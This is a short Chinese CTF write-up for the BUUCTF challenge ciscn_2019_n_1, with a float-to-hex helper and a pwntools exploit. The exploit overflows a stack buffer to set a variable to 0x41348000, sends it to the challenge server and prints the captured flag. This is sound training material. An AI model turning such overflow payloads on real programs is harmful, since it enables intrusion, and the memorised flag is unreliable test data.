pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
不羁的木木3 分钟前
【开源鸿蒙跨平台开发学习笔记】Day07:React Native 开发 HarmonyOS-GitCode口袋工具开发-3
学习·开源·harmonyos
yoyo君~3 分钟前
深入理解PX4飞控系统:多线程并发、原子操作与单例模式完全指南
学习·单例模式·机器人·无人机
山土成旧客4 分钟前
【Python学习打卡-Day17】从二分类到多分类:ROC曲线、三大平均指标与风控利器MCC/KS
python·学习·分类
暗然而日章9 分钟前
C++基础:Stanford CS106L学习笔记 5 内存与指针
c++·笔记·学习
秋深枫叶红10 分钟前
嵌入式第二十六篇——数据结构双向链表
c语言·数据结构·学习·链表
匠心网络科技11 分钟前
前端框架-框架为何应运而生?
前端·javascript·vue.js·学习
FAREWELL0007519 分钟前
Lua学习记录(6) --- Lua中的元表相关内容
开发语言·学习·lua
The_cute_cat19 分钟前
FFmpeg的初步学习
学习·ffmpeg
c***21299 小时前
Springboot3学习(5、Druid使用及配置)
android·学习
GISer_Jing10 小时前
jx前端架构学习
前端·学习·架构